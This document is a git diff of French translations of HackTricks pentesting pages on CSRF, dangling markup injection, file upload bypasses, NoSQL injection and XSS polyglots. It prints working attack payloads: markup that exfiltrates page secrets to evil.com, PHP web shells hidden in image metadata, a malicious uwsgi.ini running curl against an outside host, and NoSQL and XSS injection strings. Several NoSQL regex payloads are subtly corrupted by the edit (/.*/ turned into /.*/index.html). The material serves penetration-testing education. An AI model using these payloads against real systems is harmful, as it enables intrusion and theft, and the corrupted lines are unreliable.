+La première partie de [**ce CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur, est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - un contournement courant qui n'est pas unique à Oak. Au lieu d'un gestionnaire spécifique qui traite les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime juste le corps de la réponse**.
 
 Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
 
@@ -197,7 +197,7 @@ Par conséquent, si une requête GET est limitée, vous pourriez simplement **en
 
 ### **Exfiltration du token CSRF**
 
-Si un **token CSRF** est utilisé comme **défense**, vous pourriez essayer de **l'exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou d'une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
+Si un **token CSRF** est utilisé comme **défense**, vous pourriez essayer de **l'exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou d'une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
 
 ### **GET utilisant des balises HTML**
 ```xml
@@ -252,7 +252,7 @@ document.forms[0].submit()
 </body>
 </html>
 ```
-### Demande POST de formulaire
+### Formulaire de requête POST
 ```html
 <html>
 <body>

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,16 +4,16 @@
 
 ## Résumé
 
-Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
+Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/index.html) mais que vous pouvez **injecter des balises HTML**.\
 Elle est également utile si un **secret est enregistré en texte clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous voulez induire en erreur l'exécution de certains scripts.
 
-Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
+Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
 
 ## Applications principales
 
 ### Vol de secrets en texte clair
 
-Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine citation à l'intérieur du code. Si un secret se trouve d'une manière ou d'une autre dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant une double citation, regardez ce qui pourrait être plus intéressant à utiliser).
+Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine citation dans le code. Si un secret se trouve d'une manière ou d'une autre dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant une double citation, regardez ce qui pourrait être plus intéressant à utiliser).
 
 Si la balise `img` est interdite (en raison de CSP par exemple), vous pouvez également utiliser `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
 ```html
@@ -57,7 +57,7 @@ I get consumed!
 ```
 Un attaquant peut utiliser cela pour voler des informations.
 
-Trouvez un [**exemple de cette attaque dans ce document**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
+Trouvez un [**exemple de cette attaque dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
 
 ### Vol de secrets en texte clair 2
 
@@ -67,7 +67,7 @@ En utilisant la technique mentionnée ci-dessus pour voler des formulaires (inje
 ```
 et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange "_**Vol de secrets en texte clair**_" avec "_**Vol de forms2**_".
 
-Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise fermante `</option>` soit trouvée seront envoyées :
+Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise `</option>` fermée soit trouvée seront envoyées :
 ```html
 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 ```
@@ -90,7 +90,7 @@ Vous pouvez changer le chemin d'un formulaire et insérer de nouvelles valeurs a
 
 `<noscript></noscript>` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à [chrome://settings/content/javascript](chrome://settings/content/javascript)).
 
-Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par un attaquant sera d'injecter ceci :
+Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par l'attaquant sera d'injecter ceci :
 ```html
 <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 ```
@@ -150,7 +150,7 @@ Ou vous pouvez même essayer d'exécuter du javascript :
 ```
 ### Abus d'Iframe
 
-Un document enfant possède la capacité de voir et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'incorporer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
+Un document enfant possède la capacité de voir et de modifier la propriété `location` de son parent, même dans des situations cross-origin. Cela permet d'incorporer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
 ```html
 <html>
 <head></head>
@@ -184,7 +184,7 @@ Vous pouvez utiliser **`meta http-equiv`** pour effectuer **plusieurs actions**
 
 Cela peut être **évité** avec un **CSP** concernant **http-equiv** ( `Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
 
-### Nouveau \<portal HTML tag
+### Nouveau \<portal tag HTML
 
 Vous pouvez trouver une **recherche très intéressante** sur les vulnérabilités exploitables du tag \<portal [ici](https://research.securitum.com/security-analysis-of-portal-element/).\
 Au moment de la rédaction, vous devez activer le tag portal sur Chrome dans `chrome://flags/#enable-portals` sinon cela ne fonctionnera pas.
@@ -195,23 +195,23 @@ Au moment de la rédaction, vous devez activer le tag portal sur Chrome dans `ch
 
 Toutes les façons de fuir la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Vérifiez-les ici : [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
 
-## SS-Fuites
+## SS-Leaks
 
-C'est un **mélange** entre **dangling markup et XS-Fuites**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous allons attaquer. De l'autre côté, nous n'allons pas **attaquer** directement la page où nous pouvons injecter du HTML, mais **une autre page**.
+C'est un **mélange** entre **dangling markup et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous allons attaquer. De l'autre côté, nous n'allons pas **attaquer** directement la page où nous pouvons injecter du HTML, mais **une autre page**.
 
 {{#ref}}
 ss-leaks.md
 {{#endref}}
 
-## XS-Recherche/XS-Fuites
+## XS-Search/XS-Leaks
 
-XS-Recherche est orienté vers l'**exfiltration d'informations cross-origin** en abusant des **attaques par canal auxiliaire**. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme [**Injection CSS**](../xs-search/index.html#css-injection) ou [**Chargement paresseux d'images**](../xs-search/index.html#image-lazy-loading)**.**
+XS-Search est orienté vers l'**exfiltration d'informations cross-origin** en abusant des **attaques par canal auxiliaire**. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme [**CSS Injection**](../xs-search/index.html#css-injection) ou [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
 
 {{#ref}}
 ../xs-search/
 {{#endref}}
 
-## Liste de Détection de Brute-Force
+## Liste de Détection par Brute-Force
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt

src/pentesting-web/file-upload/README.md

@@ -45,11 +45,11 @@ Autres extensions utiles :
 - _file.php%00.png%00.jpg_
 6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **_**.php**_**, mais** pas nécessairement se terminant par .php** exécutera du code) :
 - _ex : file.php.png_
-7. Utilisation de **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”)
+7. Utilisation de **NTFS alternate data stream (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”)
 8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
 
 ```
-# Linux maximum 255 octets
+# Linux maximum 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
 # Téléchargez le fichier et vérifiez la réponse combien de caractères il permet. Disons 236
@@ -59,19 +59,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-### Contourner le type de contenu, le nombre magique, la compression et le redimensionnement
+### Contourner les vérifications de Content-Type, Magic Number, Compression & Redimensionnement
 
 - Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_
-1. Liste de mots pour le Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Contourner la vérification du **nombre magique** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\
+1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+- Contourner la vérification de **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` ou vous pourriez également **introduire le payload directement** dans une image :\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
+- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
 - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
+- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
 - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
+- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
 - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Autres astuces à vérifier
@@ -92,9 +92,9 @@ AAA<--SNIP 232 A-->AAA.php.png
 Si vous essayez de télécharger des fichiers sur un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
 Si vous essayez de télécharger des fichiers sur un **serveur ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...)
+Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (en l'exécutant avec php, ou en l'incluant dans un script...)
 
-L'extension `.inc` est parfois utilisée pour des fichiers PHP qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu permettre **l'exécution de cette extension**.
+L'extension `.inc` est parfois utilisée pour des fichiers php qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu permettre **l'exécution de cette extension**.
 
 ## **Jetty RCE**
 
@@ -104,9 +104,9 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob
 
 ## **uWSGI RCE**
 
-Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées sur les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables, des espaces réservés et des opérateurs "magiques". Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
+Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
 
 Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, montrant divers schémas :
 ```ini
@@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
+L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service), soit le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
 
 Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. En particulier, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel.
 
 ## **wget File Upload/SSRF Trick**
 
 Dans certaines occasions, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
-La **longueur** maximale d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournant** la **vérification** (comme dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
+La **longueur** maximale d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournant** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -169,14 +169,14 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
 - Définissez **filename** sur `<svg onload=alert(document.domain)>` pour atteindre un XSS
 - Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
 - [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
-- **JS** fichier **upload** + **XSS** = [**exploitation des Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
+- **JS** fichier **upload** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via le téléchargement de fichiers svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Essayez **différents payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Fameuse vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
+- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
 - [**XXE et CORS** contournement avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données.
+- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données.
 - Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus**
 - Vérifiez s'il y a une **limite de taille** lors du téléchargement de fichiers
 
@@ -191,7 +191,7 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici
 7. **HTML / JS** : injection HTML / XSS / Open redirect
 8. **PNG / JPEG** : attaque par inondation de pixels (DoS)
 9. **ZIP** : RCE via LFI / DoS
-10. **PDF / PPTX** : SSRF / XXE AVEUGLE
+10. **PDF / PPTX** : SSRF / BLIND XXE
 
 #### Extension Burp
 
@@ -199,7 +199,7 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici
 https://github.com/portswigger/upload-scanner
 {{#endref}}
 
-## Octets d'en-tête magiques
+## Magic Header Bytes
 
 - **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG** : `"\xff\xd8\xff"`
@@ -289,7 +289,7 @@ pop graphic-context
 ```
 ## Intégration d'un Shell PHP dans un PNG
 
-L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation.
+Intégrer un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation.
 
 Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
 
@@ -301,7 +301,7 @@ Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant com
 
 L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement—comme JPEG, GIF ou DOC—pour atténuer le risque posé par des formats potentiellement nuisibles (par exemple, JS, PHP ou fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner furtivement ces restrictions.
 
-Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
+Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichiers de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
 
 Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 

src/pentesting-web/nosql-injection.md

@@ -67,7 +67,7 @@ in JSON
 ### **SQL - Mongo**
 ```
 /?search=admin' && this.password%00 --> Check if the field password exists
-/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
+/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
@@ -78,7 +78,7 @@ in JSON
 ```
 ### Exécution de Fonction Arbitraire PHP
 
-En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisé par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/).
+En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 ```python
 "user":{"$func": "var_dump"}
 ```
@@ -88,7 +88,7 @@ En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://gith
 
 Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) pour obtenir des informations d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une **collection différente** appelée **`users`** et obtenons les **résultats de toutes les entrées** avec un mot de passe correspondant à un caractère générique.
 
-**NOTE :** `$lookup` et d'autres fonctions d'agrégation ne sont disponibles que si la fonction `aggregate()` a été utilisée pour effectuer la recherche au lieu des fonctions plus courantes `find()` ou `findOne()`.
+**REMARQUE :** `$lookup` et d'autres fonctions d'agrégation ne sont disponibles que si la fonction `aggregate()` a été utilisée pour effectuer la recherche au lieu des fonctions plus courantes `find()` ou `findOne()`.
 ```json
 [
 {
@@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 || 1==1//
 || 1==1%00
 }, { password : /.*/ }
-' && this.password.match(/.*/)//+%00
-' && this.passwordzz.match(/.*/)//+%00
-'%20%26%26%20this.password.match(/.*/)//+%00
-'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+' && this.password.match(/.*/index.html)//+%00
+' && this.passwordzz.match(/.*/index.html)//+%00
+'%20%26%26%20this.password.match(/.*/index.html)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 {$gt: ''}
 [$ne]=1
 ';sleep(5000);

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -46,7 +46,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
